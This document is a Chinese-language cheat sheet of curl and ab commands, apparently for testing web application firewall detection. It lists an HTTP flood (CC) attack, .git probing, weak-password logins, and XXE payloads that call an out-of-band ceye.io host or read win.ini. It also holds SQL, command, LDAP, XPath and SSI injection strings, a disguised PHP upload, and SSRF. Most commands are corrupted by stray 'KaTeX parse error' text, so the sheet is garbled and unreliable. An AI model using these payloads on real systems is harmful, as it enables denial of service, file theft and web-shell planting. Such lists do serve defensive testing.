CC攻击

1、安装ab命令：yum -y install httpd-tools
2、发起CC攻击：ab -c 200 -n 100000 -H “host:域名” http://IP/1.html
（表示200个并发数，共100000条数据）

web攻击

敏感信息探测：

curl -H “host:域名” http://IP/.git/

文件读取：

curl -H “host:域名” http://IP/soldierofallah.php

威胁情报：

curl -H “host:域名” http://IP/plus/mytag_js.php?aid=511348

平台漏洞：

curl -H “host:域名” http://IP/lesson/tt.t:123xt/1.php

代码执行：

curl -H “host:域名” http://IP/a.php?time=lang.ProcessBuilder

弱密码：

json格式：

curl -vvv -X POST -H “Content-Type:application/json” -H “host:域名” http://IP/" -d ‘{“account”:“12345”,“pwd”:“12345”}’

urlencoded方式：

curl -vvv -X POST -H “Content-Type:application/x-www-form-urlencoded” -H “host:域名” http://IP/" -d “account=admin&password=12345”
解码url_encode：
curl -XPOST -H “host:域名” “http://ipport/wls-wsat/notify” -d ‘%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20root%20%5B%3C!ENTITY%20%25%20xxe%20SYSTEM%20%22http%3A%2F%2Fxxxxx.8ug564.ceye.io%2F%22%3E%25xxe%3B%5D%3E’

XML检测：

curl -XPOST -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/xxe1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%0A%3C%21DOCTYPE%20xxe%20%5B%0A%3C%21ELEMENT%20name%20ANY%20%3E%0A%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fC%3A%2fwindows%2fwin.ini%22%20%3E%5D%3E%0A%3Croot%3E%0A%3Cname%3E%26xxe%3B%3C%2fname%3E%0A%3C%2froot%3E”

html转义：

curl -XPOST -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/wls-wsat/notify” -d ‘<?xml version=“1.0” encoding=“utf-8”?><!DOCTYPE root [<!ENTITY % xxe SYSTEM “http://xxxxx.8ug564.ceye.io/”>%xxe;]>’

base64编码：

curl -XPOST -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/wls-wsat/notify” -d ‘Jmx0Oz94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPyZndDsmbHQ7IURPQ1RZUEUgcm9vdCBbJmx0OyFFTlRJVFkgJSB4eGUgU1lTVEVNICJodHRwOi8veHh4eHguOHVnNTY0LmNleWUuaW8vIiZndDsleHhlO10mZ3Q7’

SQL注入：

curl -XPOST -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/index.php?id=1 and 1=1”

命令注入：

curl -XPOST -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/index.php?arg=;fputs(fopen(“shell.php”,“w+”)”

LDAP注入：

curl -i -s -k -X GET -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/ldap.php?name=%29%28objectClass%3D%29%29%28%26%28objectClass%3Dvoid&info=z&form=submit”

SSI注入：

curl -i -s -k -X POST -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ -H \"Content-T…ipport/ssi.php”

文件注入：

curl -XPOST -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/upload” -d ‘------WebKitFormBoundaryKCgWwSJpeiff03B6Content-Disposition: form-data; name=“file”; filename="aaa.php.aaxxx"Content-Type: image/png<?phpphpinfo();?>------WebKitFormBoundaryKCgWwSJpeiff03B6–’

XPATH注入：

curl -g -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/xpath.php?[(genre=%27)]child::node()[@*]|id[contains(%27%27,%20%27&action=search)]”

SSRF注入：

curl -i -s -k -X ‘GET’ -H “Host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/index.php?id=http://foo.bar.10.0.0.1.xip.io” -H ‘Connection: close’ -H ‘Content-Length: 2’ --data-binary ‘\x0d\x0a’

XML攻击防护：

curl -H “host:KaTeX parse error: Can't use function '\"' in math mode at position 5: host\̲"̲ \"http://ipport/test/dtd.xml?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%0A%3C%21DOCTYPE%20xml%20%5B%0A%3C%21ELEMENT%20name%20ANY%20%3E%0A%3C%21ENTITY%20xml%20SYSTEM%20%22file%3A%2f%2f%2fC%3A%2fwindows%2fwin.ini%22%20%3E%5D%3E%0A%3Croot%3E%0A%3Cname%3E%26xml%3B%3C%2fname%3E%0A%3C%2froot%3E”